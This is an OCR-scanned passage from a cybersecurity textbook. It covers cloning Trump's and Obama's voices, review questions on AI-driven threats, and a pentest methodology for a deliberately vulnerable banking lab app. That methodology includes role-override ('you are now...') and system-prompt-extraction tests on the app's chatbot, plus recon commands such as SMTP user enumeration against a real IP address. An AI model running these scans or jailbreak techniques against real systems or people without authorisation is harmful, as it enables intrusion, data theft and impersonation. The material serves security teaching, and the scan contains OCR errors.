A compelling use case for voice cloning of Donald Trump’s and Barack Obama’s voices
could be in the development of political satire, historical documentaries, or interactive edu-
cational tools. By using a cloned version of his voice, content creators can simulate realistic
speeches or responses for entertainment or informational purposes without relying on origi-
nal recordings. For instance, an Al-powered app could let users explore alternative historical
scenarios or hear explanations of complex political events narrated in Trump’s recognizable
tone and style, enhancing engagement and relatability. Additionally, voice cloning can sup-
port accessibility features, such as personalized narration for visually impaired audiences or
language learners, provided ethical guidelines and consent laws are strictly followed.

Use Case 1: Figure 6.54 shows a sample paragraph selected by the user for Donald Trump’s
cloned voice to narrate after the voice cloning process is completed.

EchoVoices

EchoMind EchoCapture EchoCroflt EchoTronscribo

Figure 6.52 Echovox features.
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Figure 6.53 Clone results.
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Figure 6.54 Sample paragraph.

Upload or record a sample audio of Donald Trump, activate the voice cloning process, and
then click on “Generate” to produce the cloned voice output as shown in Figure 6.55.

Use Case 2: Figure 6.56 presents a sample paragraph intended to be spoken by Barack
Obama’s cloned voice following the completion of the voice cloning process. You may
view the output on https://github.com/GargSaksham/AI-Voice-cloning.git both use
cases are uploaded to GitHub.

Speechify studio

Speechify Studio is a modern, browser-based Al platform designed to simplify voice and
video content creation. It enables users to generate voiceovers, clone voices, dub videos in
multiple languages, transcribe audio, and build full video projects—all in one place. With just
a short voice sample, users can create a digital version of their own voice, capable of speaking
any text with natural tone and clarity. The platform also supports emotional tuning, allowing
for expressive speech output with variations in tone, emphasis, and pacing. Speechify Studio
includes built-in media assets, intuitive editing tools, and easy export options, making it a
great choice for creators, educators, and teams looking to produce high-quality audio and
video content quickly and efficiently. Figure 6.57 illustrates the different features available in
Speechify. The user selects the voice cloning option, uploads a sample audio of the voice they
wish to replicate, agrees to the terms and conditions, and then waits for the system to process
and generate the cloned voice.

While this chapter highlights the dark side of Al, it also serves as a call to action. Ethical
Al development must consider abuse cases alongside innovation. Developers of LLMs and
security tools must incorporate safeguards such as abuse monitoring, prompt injection filters,
and usage throttling. Academic institutions and cybersecurity firms should also collaborate
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Figure 6.56 Results.
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Figure 6.57 Speechify studio.

to build Al red-teaming frameworks that simulate realistic adversarial scenarios. These exer-
cises can reveal where current detection systems fail and where improvements are necessary.
Furthermore, Al literacy must become part of cybersecurity training. Security professionals
need to understand prompt engineering, LLM behavior, and Al-specific vulnerabilities to
effectively counter Al-augmented threats. The arms race is no longer between humans and
machines, but between Al systems themselves. Defensive Als are being built to detect behav-
ioral anomalies, auto-patch systems, and classify zero-day attacks in real time. However,
these systems must evolve as fast as their adversaries. We are entering an era of autonomous
security, where Al defends networks in milliseconds and attacks are launched in microsec-
onds. This shift demands a fundamental rethink of cybersecurity architecture, one that treats
every endpoint, user, and communication as potentially compromised unless proven other-
wise. Zero Trust Architectures (ZTA), Al-driven anomaly detection, and predictive threat
modeling will be essential pillars in this future. Moreover, collaboration between govern-
ments, tech companies, and academia will be necessary to establish global norms, ethical
standards, and rapid-response mechanisms.

6.9 CONCLUSION

As artificial intelligence becomes increasingly embedded in cybersecurity infrastructures, the
line between defender and adversary continues to blur. This chapter underscores the dual-use
nature of Al, where the same technologies designed to enhance digital protection are being
actively repurposed to dismantle it. From GPT-powered phishing campaigns to Al-driven
malware obfuscation and deepfake-enabled impersonation, threat actors are exploiting the
scale, precision, and anonymity Al provides to bypass traditional defenses. The democratiza-
tion of Al tools has significantly lowered the entry barrier for cybercriminals, enabling even
low-skilled attackers to execute complex operations through prompt engineering and LLM-
guided automation. The examples presented, ranging from subdomain enumeration using
Assetfinder and Nmap scripting to malware evolution via obfuscation and behavior condi-
tioning, signal a paradigm shift in the cyber threat model. Defensive strategies rooted in static
rule-sets and reactive protocols are no longer sufficient. As attacks grow more sophisticated,
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defenders must adopt the same technologies to build proactive, self-evolving security mecha-
nisms. This includes Al-assisted detection systems, Zero Trust Architectures, and threat intel-
ligence models trained to recognize adversarial behavior in real-time. Importantly, the chapter
highlights the need for ethical governance, education, and inter-institutional collaboration.
Developers, policymakers, and security professionals must converge to define boundaries,
monitor misuse, and build resilient Al systems that prioritize safety over speed. The future of
cybersecurity will not be defined by firewalls and passwords but by intelligent agents waging
silent wars on both sides. Preparedness lies not in resisting Al but in mastering it before it’s
used against us irreversibly.

MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. A cybersecurity operations center (CSOC) deploys an Al-based model trained on his-
torical DNS logs to detect malicious subdomains used in phishing. However, attackers
switch to fast-flux DNS techniques. What is the most likely result of this evasion?

a. Al model will block all incoming DNS traffic
b. Model’s precision will increase

c. Model will experience higher false negatives
d. AI will identify fast-flux with higher accuracy

Correct Answer: ¢) Model will experience higher false negatives
Explanation: Fast-flux rapidly changes IP addresses associated with a domain. This
undermines static behavior-based models, leading to missed detections.

2. An attacker automates deepfake creation using generative adversarial networks (GANs)
for CEO voice spoofing in a financial organization. Which of the following Al-powered
defenses can best counter this?

a. Traditional signature-based malware detection

b. Behavioral anomaly detection using audio biomarkers
c. Rule-based voice recognition

d. Data loss prevention (DLP) solutions

Correct Answer: b) Behavioral anomaly detection using audio biomarkers
Explanation: Deepfakes can mimic voices, but subtle features like speaking rhythm,
breathiness, and microtremors are hard to fake. Al can detect anomalies in these.

3. Ared team uses a fine-tuned language model to generate context-aware phishing emails.
What is the greatest risk this poses to enterprise defenses?
a. Increased firewall bypass rates
b. Higher email delivery speed
c. Lower detection by NLP-based spam filters
d. Reduced IP blacklisting efficiency

Correct Answer: ¢) Lower detection by NLP-based spam filters
Explanation: Context-aware Al-generated phishing emails mimic real communication,
reducing detection by traditional spam filters reliant on known patterns.

4. A government agency deploys a zero trust architecture. However, adversaries exploit
Al to learn user behavioral patterns and mimic authentication behavior. Which layer of
security is most critical to detect this intrusion?

a. Application sandboxing
b. Network firewall policy
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c. Continuous behavioral biometrics
d. Perimeter VPN configuration

Correct Answer: ¢) Continuous behavioral biometrics
Explanation: Continuous identity verification using Al to track behavioral biometrics
(typing rhythm, mouse movement) helps distinguish real users from mimics.

. An Al system trained to detect ransomware begins misclassifying a new fileless malware
as benign due to its use of PowerShell. What’s the likely cause?

a. Training set lacked scripting-based malware samples

b. Al cannot analyze encrypted traffic

c. PowerShell cannot be analyzed by Al

d. Fileless malware always bypasses Al

Correct Answer: a) Training set lacked scripting-based malware samples
Explanation: Al models are only as good as the data they’re trained on. Lack of script-
based malware like PowerShell exploits leads to blind spots.

. A SOC analyst integrates an Al tool for phishing link detection but finds it failing dur-
ing zero-day attacks involving cloaking techniques. What improvement is necessary in
the AT model?

a. Increase VPN bandwidth

b. Incorporate real-time screenshot analysis

c. Add hardcoded domain blacklists
d. Deploy signature-based filters

Correct Answer: b) Incorporate real-time screenshot analysis
Explanation: Cloaking shows different content to users and bots. Screenshot-based Al
models can detect visual mismatches in real time, bypassing text analysis limits.

. An APT group uses reinforcement learning to bypass intrusion detection systems by
gradually learning acceptable traffic patterns. What kind of Al defense is best suited to
counter this?

a. Static rules

b. Blacklist updates

c. Adversarial machine learning models

d. Manual firewall tuning

Correct Answer: c) Adversarial machine learning models
Explanation: Adversarial ML can simulate attacker behavior during training, making
models resilient to slow-learning or evolving APT tactics.

. A malicious actor uses Al to automate the enumeration of subdomains by bypassing
rate limits and using random user-agents. Which defensive Al technique is most effec-
tive in this context?

a. Data hashing

b. Traffic obfuscation

c. Time-based anomaly scoring

d. Content filtering

Correct Answer: c¢) Time-based anomaly scoring

Explanation: Time-based AI models detect rapid and patterned requests, even with
obfuscation. This helps flag automated enumeration attacks.
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9. An organization uses Al for log anomaly detection. Attackers inject synthetic benign-
looking log entries to poison the training data over time. What type of attack is this?

10.

a.
b.
C.

d.

Model inversion

Backdoor insertion

Data poisoning attack
Feature importance leakage

Correct Answer: ¢) Data poisoning attack
Explanation: Poisoning attacks introduce manipulated data during training to alter
model behavior and create blind spots, especially in unsupervised detection models.

A cybersecurity researcher identifies that Al-generated malware uses polymorphic
obfuscation. Which Al-powered defense mechanism is most effective here?

a.
b.
C.

d.

Static hash comparison
Heuristic rule matching
Dynamic behavior profiling
Blocklisting based on filename

Correct Answer: ¢) Dynamic behavior profiling
Explanation: Polymorphic malware changes its code signature, but its runtime behavior
often remains consistent. Dynamic Al analysis can detect these actions.



Chapter 7

Offensive security tactics

7.1 INTRODUCTION

In the ever-evolving landscape of cybersecurity, organizations today face adversaries who are
increasingly sophisticated, resourceful, and persistent. Traditional defensive measures, while
essential, are no longer sufficient in isolation. Firewalls, intrusion detection systems, and end-
point protection platforms offer crucial layers of security, yet they often provide only a par-
tial view of an organization’s true resilience against advanced threats. To realistically evaluate
security postures, many enterprises have adopted adversarial simulation exercises, commonly
referred to as Offensive Security tactics, which seek to emulate the tools, techniques, and pro-
cedures (TTPs) of real-world attackers. By adopting the mindset of a malicious actor, security
professionals can identify weaknesses that would otherwise remain hidden until exploited in
the wild.

At its core, a Offensive Security exercise transcends the limitations of conventional vulner-
ability scans or compliance-driven security assessments. Unlike Blue Teams, which are pri-
marily defensive units, or Purple Teams, which promote collaboration between offensive and
defensive roles, an Offensive Security functions as a simulated adversary with a singular goal:
to compromise systems, exfiltrate data, and bypass security measures in a manner consistent
with real threat actors. This adversarial approach provides organizations with a candid pic-
ture of how prepared they are to withstand attacks. Such exercises do not merely highlight
technical vulnerabilities; they also expose human errors, procedural gaps, and systemic weak-
nesses in incident response mechanisms.

One of the most significant use cases for Offensive Securitying lies in vulnerability assess-
ment and penetration testing of web portals. With the rapid digitization of business ser-
vices, web portals now serve as gateways for banking, healthcare, government, and retail
operations. Their ubiquity makes them attractive targets for cybercriminals, who exploit
both technical flaws and logical errors within applications. From SQL injections and cross-
site scripting vulnerabilities to authentication flaws and insecure configurations, web portals
present a wide attack surface. By simulating real-world attack scenarios, Offensive Securitys
can uncover weaknesses in these applications before malicious adversaries exploit them.

In practical terms, Offensive Securitying integrates the structured discipline of Vulnerability
Assessment (VA) with the dynamic adaptability of simulated attacks. A VA identifies, classi-
fies, and prioritizes potential weaknesses in a system. This process provides a valuable base-
line of known issues, but it does not extend to validating how those weaknesses may be
exploited in practice. A Offensive Security engagement goes further: it chains together vulner-
abilities, misconfigurations, and oversights to demonstrate actual attack paths that lead to
compromise. For instance, identifying a weak password policy is a VA task, but demonstrat-
ing that such a weakness can be exploited to gain administrative access illustrates the real-
world impact, something only a Offensive Security exercise can achieve.
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The methodology of Offensive Security operations begins with reconnaissance, the phase
where information about the target is systematically gathered. Reconnaissance, often referred
to as “recon,” mimics how adversaries collect intelligence before launching an attack. This
stage is critical because the success of later exploitation heavily depends on the accuracy and
depth of initial information gathering. Offensive Security professionals employ a variety of
reconnaissance tools to map a target’s digital footprint, uncover subdomains, identify active
hosts, enumerate services, and extract metadata from applications. By piecing together this
intelligence, attackers can build a comprehensive profile of the target environment, often
revealing overlooked vulnerabilities.

Among the modern tools leveraged during this phase are Subzy, which detects subdomain
takeovers, smtp-user-enum, which identifies valid email addresses through SMTP interac-
tions, and combined toolchains involving crt.sh, httprobe, and EyeWitness to discover sub-
domains, validate their availability, and visually capture their interfaces. Tools like Nmap
further assist by mapping open ports and active services, while utilities such as Feroxbuster
and FFUF help uncover hidden directories and files on web servers. Each of these tools con-
tributes a unique perspective, together forming a powerful arsenal for reconnaissance. The
introduction of automation and integration in these tools has elevated the effectiveness of
Offensive Securitys, enabling them to cover broader scopes with greater efficiency.

In addition to technical reconnaissance, Offensive Security tactics also encompass exploi-
tation of logical flaws in web applications. Unlike purely technical vulnerabilities that stem
from code or infrastructure misconfigurations, logical flaws arise from improper implemen-
tation of business rules or workflows. For example, a banking portal that fails to validate
negative transfer amounts may inadvertently allow users to credit their accounts illegiti-
mately. Similarly, improper session handling, predictable file storage, or flawed privilege
escalation mechanisms can lead to severe compromises even in applications with otherwise
strong technical security. Offensive Securityers, by thinking creatively like real adversaries,
excel at identifying and exploiting such weaknesses.

A key value of Offensive Securitying lies in simulating real-world attack scenarios. Instead
of focusing on isolated vulnerabilities, Offensive Securitys attempt to mimic the tactics of
actual adversaries such as organized crime groups, hacktivists, or state-sponsored attack-
ers. This involves chaining multiple weaknesses together into coherent attack paths. For
instance, reconnaissance may uncover exposed services, which could then be exploited using
tools like SQLMap to gain database access. From there, attackers might escalate privileges,
bypass authentication mechanisms, and ultimately exfiltrate sensitive information. By execut-
ing these end-to-end scenarios, Offensive Securitys demonstrate the full extent of potential
damage, offering organizations actionable insights that go beyond theoretical risks.

The case study of a vulnerable banking portal exemplifies this approach. By deploying a
deliberately insecure web application in a controlled environment, security professionals can
simulate attacks against realistic scenarios without endangering production systems. Setting
up the application using Docker provides a safe sandbox for experimentation, while tools
like Nmap, Feroxbuster, WhatWeb, and Burp Suite enable thorough assessments. Through
this portal, Offensive Securitys can explore common vulnerabilities such as SQL injection,
insecure file uploads, weak authentication flows, and privilege escalation flaws. The result-
ing analysis not only highlights technical weaknesses but also underscores the importance
of secure coding practices, regular patching, and continuous monitoring in maintaining web
application security.

Another defining characteristic of modern Offensive Security exercises is the integration
of artificial intelligence (AI) and machine learning (ML) into reconnaissance and VA work-
flows. Al-powered tools can process vast datasets far more efficiently than human analysts,
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uncovering hidden correlations and predicting potential attack paths. ML algorithms can
adapt scanning strategies based on observed defensive behaviors, allowing for more effec-
tive and stealthy reconnaissance. By incorporating these technologies, Offensive Securitys
not only keep pace with evolving threats but also mirror the increasingly automated tactics
employed by sophisticated adversaries.

Furthermore, Offensive Security exercises serve a broader purpose than identifying vul-
nerabilities which function as a training and validation mechanism for defensive teams. By
subjecting an organization’s defenses to realistic adversarial simulations, Offensive Security
engagements reveal how well detection systems perform, how quickly incident response
teams react, and how effectively security protocols are followed under pressure. This feed-
back loop helps Blue Teams enhance their detection and mitigation strategies, ultimately
contributing to a more resilient cybersecurity posture.

Introduction to Offensive Security tactics underscores the necessity of adversarial simu-
lations in today’s threat landscape. Traditional vulnerability assessments are essential but
insufficient on their own, as they do not reflect the dynamic strategies of real attackers.
Offensive Securitying bridges this gap by integrating reconnaissance, exploitation, and post-
exploitation activities into a holistic simulation of adversarial behavior. By leveraging special-
ized tools, exploiting both technical and logical flaws, and simulating realistic attack chains,
Offensive Securitys provide unparalleled insights into organizational resilience. The use case
of a vulnerable web portal highlights how these tactics translate into practical assessments,
while the incorporation of Al and automation reflects the future trajectory of Offensive
Security practices. As cyber threats continue to evolve, Offensive Securitying will remain a
vital practice for organizations seeking not only to defend against today’s attacks but also to
anticipate and prepare for the threats of tomorrow.

7.2 OFFENSIVE SECURITY ATTACKS AND TOOLS

This section presents the attacks and tools utilized by Offensive Securitys during the various
phases of information gathering to exploitation.

Broken object-level/property-level authorization (BOLA/BOPLA)

BOLA arises when applications fail to enforce access control checks on object identifiers,
allowing users to access or manipulate other users’ resources by changing IDs in requests.
To test this, a penetration tester can log in as a normal user and intercept API requests using
Burp Suite. By modifying object IDs such as account numbers or transaction IDs, they check
whether unauthorized data becomes accessible. A supporting tool like curl may also be used
to replay modified requests for validation. The reason for performing this test is to ensure that
server-side authorization is enforced consistently, rather than relying on the client to restrict
what a user can access. Discovering BOLA vulnerabilities demonstrates how attackers could
exploit weak object controls to exfiltrate sensitive financial or personal information.

Goal: Prove the app does not enforce per-object access or property controls.

How to test:

e Login as a low-privilege user. With an intercepting proxy, change any object identifiers
(e.g., account ID, card ID, and transaction ID) in API paths or JSON bodies; also, try
adding/removing restricted properties (e.g., role, limit, and is_admin).

® Repeat across modules: accounts, transactions, virtual cards, bill pay, profile.
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This confirms access controls are enforced server-side rather than by UI only. Before/after
requests, server responses show users’ data or successful write of restricted fields, and each
finding can be mapped to BOLA/BOPLA in the README.

Mass assignment & excessive data exposure

Mass assignment occurs when user-supplied input fields bind directly to server-side objects,
unintentionally updating fields that should not be client-controlled. A tester can use Burp
Suite to intercept account creation or profile update requests, then add extra parameters
(e.g., role or balance fields). By forwarding these modified requests, the tester determines if
unauthorized attributes are updated. Tools like Postman or scripted curl calls can repeat such
requests systematically. This test is performed to highlight insecure coding practices where
developers fail to whitelist safe fields. The impact is significant because attackers can grant
themselves admin rights or modify sensitive properties without authorization. Testing for
mass assignment reveals gaps in server-side validation and underscores the importance of
implementing allowlists rather than trusting arbitrary client inputs.

Goal: Show the server binds unintended fields or over-returns sensitive data.

How to test:

¢ During create/update endpoints, inject additional JSON fields that look privileged (e.g.,
limits, roles, and feature flags).

¢ For GET endpoints, check if responses include hidden/internal fields (e.g., raw balances,
secret flags, and emails for other users).

This attack validates that the server uses explicit allowlists and response filtering. This can be
verified using Proxy traces showing successfully bound privileged fields or oversized JSON
responses that include internal properties.

Session & token management

Weak session and token management allow attackers to hijack sessions, reuse expired tokens,
or bypass logout protections. Using browser developer tools, testers inspect where tokens
are stored (e.g., localStorage or cookies) and check whether secure flags (HttpOnly, Secure,
SameSite) are applied. With Burp Suite Repeater, they replay old tokens after logout to see
if they remain valid. A simple curl command with the token in headers can also confirm
whether the server accepts expired or tampered tokens. The reason this test is conducted is to
verify that tokens are properly managed, invalidated upon logout, and securely stored. Poor
lifecycle management leads to persistent unauthorized access, making it a high-risk vulner-
ability. Documenting this test ensures applications adopt stronger session controls, including
short expiry and server-side revocation.

Goal: Demonstrate unsafe token handling and lifecycle.

How to test:

¢ Confirm whether tokens are stored client-side (localStorage) and whether a logout
actually revokes them.
Check if any endpoints echo tokens in URLs or logs.
Rotate tokens slowly to approximate “no expiration,” and test reuse after password
change.
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The session bugs enable long-lived or leaked sessions and lateral movement. Screenshots/
PCAPs of token reuse post-logout, URLs containing tokens, and successful calls with stale
tokens. They can be mapped to the “Token stored in localStorage/ No server-side invalida-
tion/No session expiration.”

Information disclosure & verbose errors

Applications sometimes leak sensitive details through verbose error messages or misconfig-
ured debugging settings. A tester deliberately sends malformed inputs, such as unexpected
parameter types, excessively large values, or missing fields, using Burp Suite Intruder or curl.
They then observe whether the responses reveal SQL errors, stack traces, internal file paths,
or system configurations. The reason for this test is that leaked error data can give attackers
valuable reconnaissance insights, such as table names, query structures, or underlying frame-
works. These disclosures act as stepping stones for more targeted attacks like SQL injection
or file inclusion. By documenting information leakage, organizations are reminded to imple-
ment secure error handling practices and display only generic error messages to end users,
while logging detailed diagnostics securely on the server side.

Goal: Find endpoints that leak stack traces, SQL errors, or config hints.

How to test:

¢ Send malformed and unexpected types (e.g., strings where numbers are expected;
extremely large values; missing fields) and observe error bodies.
® Probe edge states (empty lists, nonexistent IDs) and review any debug output.

The error messages can reveal table names, queries, file paths, or internal service topology.
Evidence: Response bodies with stack traces, SQL hints, filesystem paths, or configuration
details.

Client/server input validation

Client-side flaws like XSS and CSRF undermine the trust model of web applications. For
XSS, testers input harmless test strings into fields like comments or profile names using the
application Ul then check responses in Burp Suite or browser DevTools to see if output is
properly encoded. For CSRE testers analyze state-changing requests (e.g., fund transfers) in
Burp Suite to verify whether anti-CSRF tokens or samesite cookie protections exist. They
may attempt to resubmit these requests cross-origin with curl to confirm defenses. The reason
for performing these tests is to ensure input/output is sanitized and that critical transactions
cannot be forced without user intent. Detecting XSS or CSRF highlights weaknesses that can
allow attackers to hijack sessions, steal data, or perform unauthorized actions on behalf of
victims.

Goal: Prove client-side defenses aren’t the sole control, and server-side validation is missing.
How to test (XSS):

¢ Identify any reflective surfaces (search boxes, profile fields, biller names, comments/
notes).

e Safely try benign markers (distinctive strings) first to see reflection context, then con-
firm whether output is HTML-encoded server-side.
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How to test (CSRF):

¢ For state-changing requests available to browsers, verify if the server requires anti-
CSRF tokens and samesite cookies.

e Attempt cross-origin form submissions under controlled conditions (do not load
untrusted third-party sites in your lab).

XSS enables session theft/defacement; CSRF triggers state changes without user intent.
Evidence: Screens/video of unencoded reflections; request/response pairs lacking CSRF
tokens and SameSite settings. The README flags XSS/CSRF explicitly.

File operations

Unvalidated file uploads can lead to remote code execution, path traversal, or denial of
service. Testers attempt to upload different file types (e.g., text, oversized files, or files with
crafted names) through the application’s upload feature. With Burp Suite, they intercept and
modify file headers or MIME types, testing whether the server trusts client-declared meta-
data. Tools like curl -F can simulate direct file uploads for edge cases such as very large files
or overwriting existing filenames. The reason for this test is to confirm that the application
performs strict server-side validation of file type, size, and storage location. Improper file
handling is a common attack vector that can allow attackers to upload malicious files, gain
unauthorized access, or disrupt services.

Goal: Show the uploader trusts client-supplied metadata and paths.

How to test:

e Try non-image files disguised as images by changing extensions/MIME; verify server-
side type validation (do not upload active payloads).
Attempt relative path sequences in filenames; verify server-side path normalization.
Upload oversized files to check rate limiting and size constraints; attempt to overwrite
by reusing filenames.

Weak upload validation leads to data exposure or code execution in real apps. Server accept-
ing disallowed types/paths, overwriting existing files, or resource exhaustion symptoms. The
uploader’s weaknesses are enumerated under File Operations.

Transactions: recipient validation, history exposure, race
conditions

Transaction flaws occur when applications do not enforce input validation or atomic opera-
tions during financial operations. Testers submit negative or zero transfer amounts via Burp
Suite Repeater to see if balances are incorrectly adjusted. For race conditions, testers use Burp
Suite Intruder or parallel curl requests to send multiple identical transfer requests simulta-
neously, checking if funds are duplicated. The reason for this test is to identify logic flaws
that undermine financial integrity. These vulnerabilities demonstrate how attackers could
manipulate balances, exploit concurrency, or bypass validation to gain a financial advantage.
Documenting this highlights the necessity of implementing strict input checks, transaction
limits, and concurrency controls such as database locking or idempotency keys to prevent
such abuses.
Goal: Validate server checks on recipients and concurrency.
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How to test:

¢ Create transfers to nonexistent or malformed recipients; request other users’ histories
by ID tampering.

e Trigger concurrent balance updates (e.g., back-to-back requests); compare balances
and transaction logs.

Business logic flaws here directly translate to financial loss in real systems. Transfers to invalid
recipients accepted; access to other users’ histories; mismatched balances after overlapping
requests. These are listed under Transaction Vulnerabilities.

Virtual cards: predictable numbers, limit manipulation, BOLA

Virtual card features often suffer from predictable identifiers, weak limit enforcement, and
insufficient access controls. A tester reviews responses from card creation endpoints using
Burp Suite, noting whether card numbers or IDs follow sequential patterns. They then
modify requests with Repeater to attempt unauthorized limit changes or access to another
user’s card by altering object IDs. Using curl, repeated requests can confirm predictability
and unauthorized actions. The reason for this test is to verify that sensitive card data is
not guessable, that limit changes are server-validated, and that strict ownership checks are
enforced. Weak controls over virtual cards could allow attackers to access financial data or
abuse spending limits. Testing emphasizes secure random generation, proper authorization,
and input validation.

Goal: Demonstrate weak generation, missing server checks, and object access flaws.

How to test:

e Review card issuance responses for patterns; attempt to guess/sequentially access
nearby card IDs.

¢ In limit-update endpoints, inject unexpected fields or set out-of-policy values; confirm
enforcement server-side.

e Attempt to read or freeze cards that don’t belong to the current user.

Weak virtual card controls expose PII and enable abuse of limits.
Evidence: Cards enumerated/guessed, unauthorized limit changes, or foreign card data
retrieved. Virtual card risks are specifically called out in README.

Bill payments: amount validation, SQLi in biller queries,
predictable references

Bill payment flows can suffer from missing validation, SQL injection risks, and predictable
reference numbers. Testers examine bill payment requests with Burp Suite by submitting edge
cases such as negative amounts or malformed biller IDs. They analyze whether responses leak
SQL or debug errors, and check whether payment references follow predictable sequences.
Using curl, testers replay modified requests to test access to another user’s bill history by
changing identifiers. The reason for this test is to confirm that payment modules enforce strict
business logic validation, securely generate reference IDs, and apply proper access controls.
Weaknesses in bill payments can lead to financial fraud, data exposure, and replay attacks.
Documenting them provides actionable insights to strengthen critical financial workflows.
Goal: Show input validation and object access flaws across the bill-pay flow.
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How to test:

¢ Submit edge-case amounts (zero, negative, extreme); verify server-side rejection.

e Check biller search/lookup responses for signs of unsafe query handling (don’t run
exploit payloads, look for clues in error handling/response shapes).

e Inspect payment reference numbers for predictability (sequence/format patterns).

¢ Attempt to view other users’ payment history by ID tampering.

Bill-pay paths often mirror transfer flaws and are rich in sensitive data. Accepted invalid
amounts, predictable reference formats, and other users’ histories returned. All are enumer-
ated under Bill Payment Vulnerabilities.

Al customer support (LLM) abuse: prompt injection, info
disclosure, auth bypass

Modern applications sometimes integrate large language models (LLMs) for customer sup-
port. Testers assess whether the Al chatbot in Vuln-Bank enforces proper authorization and
data boundaries. By interacting with the chatbot, they attempt to submit crafted queries
designed to bypass intended roles, retrieve sensitive account details, or extract hidden system
prompts. Tools like browser DevTools or logging scripts can capture and replay queries sys-
tematically. The reason for this test is that LLMs, if not properly aligned with backend access
controls, can be manipulated through prompt injection or context leakage to reveal sensitive
data or perform unauthorized actions. Documenting these risks emphasizes that Al features
must inherit the same security model as traditional APIs, with strong guardrails, sanitization,
and response filtering.

1. Goal: Verify that the Al assistant can’t be tricked into data disclosure or privileged
actions.
2. How to test:

e In anonymous vs. authenticated modes, attempt role overrides (“you are now...”)
and context injections that try to bypass guardrails; watch for any leakage of
schema, users, tokens, or system prompts.

¢ Ask about specific accounts or admin-only data to test authorization barriers at the
Al layer.

e Try getting the bot to reveal configuration (model, keys, connection strings) or to
execute internal-only actions.

LLM features extend your attack surface; they must enforce the same authz and data-han-
dling rules as the APL Chat transcripts showing leaked prompts/config, data outside your
session, or Al-mediated access to restricted info. The README lists numerous Al-focused
weaknesses and test ideas.

Some of the Offensive Security tools used in attack scenarios are discussed below.

Subzy

This is an open-source security tool designed to detect subdomain takeover vulnerabilities. It
works by scanning specified domains for inactive or misconfigured subdomains that still point
to third-party services, such as hosting providers or Saa$ platforms. If these subdomains are
not properly configured, attackers could register the associated service and gain control of
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the subdomain, potentially using it for phishing or malicious activities. Subzy automates the
discovery process by checking DNS records and matching them against known fingerprints
of services vulnerable to takeover, making it a valuable tool for penetration testers and bug
bounty hunters. Install Subzy as displayed in Figure 7.1 to run on target websites.

Subzy performs concurrent requests for SSL certification check, vulnerable subdomains are
the various information gathered, and then displayed on the console, as shown in Figure 7.2.

SMTP-user-enum

SMTP-User-Enum is a command-line tool used to identify valid usernames on mail servers
by interacting with the Simple Mail Transfer Protocol (SMTP). It works by sending specific
SMTP commands such as VRFY, EXPN, or RCPT TO to the target server and analyzing the
responses. If the server is configured to reveal whether a user exists, the tool can enumerate
a list of valid accounts. This capability is useful for penetration testers and security research-
ers to assess email server configurations, but it can also be abused by attackers for gathering
targets. Therefore, its use should be limited to authorized security testing. Install SMTP-user-
enum by creating and then activating Python’s virtual environment to install using pip, as
shown in Figure 7.3.

Execute this tool based on options like VRFY, EXPN, RCPT and provide a target domain/
IP address as presented in Figure 7.4.

[:—(kaliﬁBkaIi)-[~]

$ 2o install -v github.com/PentestPad/subzy@latest
go: downloading github.com/PentestPad/subzy v1.2.1
go: downloading github.com/spf13/cobra v1.8.1

go: downloading github.com/mitchellh/go-homedir v1.1.0
embed

encoding/json

github.com/logrusorgru/aurora
github.com/mitchellh/go-homedir
github.com/PentestPad/subzy/runner
github.com/spf13/cobra
github.com/PentestPad/subzy/cmd
github.com/PentestPad/subzy

Figure 7.1 Install Subzy.

E(kali@ kali)-[~]
$

] Fingerprints found; checking integrity with an upstream

] Loaded 1 targets

] Loaded 76 fingerprints

HTTPS by default (—https)

Concurrent requests (--concurrency)

Check target only if SSL is valid (--verify_ssl)

HTTP request timeout (in seconds) (--timeout)

Show only potentially vulnerable subdomains (--hide_fails)
NOT VULNERABLE ] - webscantest.com

=
o
e e e d

Figure 7.2 Subzy features.



190 Beyond The Invisible Nexus

[:—(venv)—(kaliﬁBkali)—[~]
$ pip install smtp-user-enum
Collecting smtp-user-enum

Downloading smtp_user_enum-0.7.0-py2.py3-none-any.whl.metadata (26 kB)
Collecting argparse (from smtp-user-enum)

Downloading argparse-1.4.0-py2.py3-none-any.whl.metadata (2.8 kB)
Downloading smtp_user_enum-0.7.0-py2.py3-none-any.whl (12 kB)
Downloading argparse-1.4.0-py2.py3-none-any.whl (23 kB)

Installing collected packages: argparse, smtp-user-enum
Successfully installed argparse-1.4.0 smtp-user-enum-0.7.0

Figure 7.3 Install SMTP-user-enum.
E—(venv)—(kali@ kali)-[~]
$ s

mtp-user-enum -M VRFY -u root -t 163.70.145.35
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

| Scan Information |

RIOAEeR: . : « o ssivwisivie s aies VRFY
Worker Processes ......... S
BROERt count ssssavsassaws 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 5 secs

jiarget domain ............

HAHAEHE Scan started at Mon Aug 11 00:13:56 2025 HEHEHEHN!
{HEHHEHE Scan completed at Mon Aug 11 00:14:01 2025 HEHHHEHEH
0 results.

1 queries in 5 seconds (0.2 queries / sec)

Figure 7.4 SMTP-user-enum options.

Combined tool execution

The three tools mentioned below can be executed as a single command to deliver recon
output.

e Crt.sh is a public web-based service that allows users to search for Certificate
Transparency (CT) logs. These logs contain records of SSL/TLS certificates issued by
certificate authorities, including those for subdomains. By querying crt.sh, security
researchers, system administrators, and penetration testers can discover domains and
subdomains associated with an organization, verify certificate details, and detect poten-
tially unauthorized or malicious certificates. The platform is commonly used in recon-
naissance to gather intelligence on an organization’s digital footprint and monitor for
suspicious certificate activity.

e Httprobe is a command-line utility used to quickly check which hosts or subdomains
are serving HTTP or HTTPS content. It takes a list of domain names or URLs as input
and attempts to connect to each over both HTTP and HTTPS, reporting only the ones
that respond successfully. This makes it especially useful in reconnaissance and bug
bounty workflows, where large lists of potential targets need to be filtered down to
active, accessible endpoints. By automating this process, httprobe saves time and helps
focus further testing on live systems rather than inactive hosts.

¢ Eyewitness is a reconnaissance tool used to capture screenshots, collect headers, and
gather basic information from a list of target URLs. It helps security testers quickly
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review and document the appearance and configuration of web applications, remote
login portals, and other network services with web interfaces. The tool can process
large numbers of URLs automatically, saving time during assessments. In addition to
screenshots, EyeWitness can detect default login pages, identify web technologies in use,
and generate organized reports for analysis. It is commonly used in penetration testing
and bug bounty workflows to streamline the initial reconnaissance phase. Execute the
command:

"domain=DOMAIN COM;rand=SRANDOM;curl -fsSL “https://crt.sh/?g=$
{domain}” | pup 'td text{}’ | grep "“${domain}” | sort -n | uniqg |
httprobe > /tmp/enum tmp ${rand}.txt; python3 /usr/share/eyewitness/
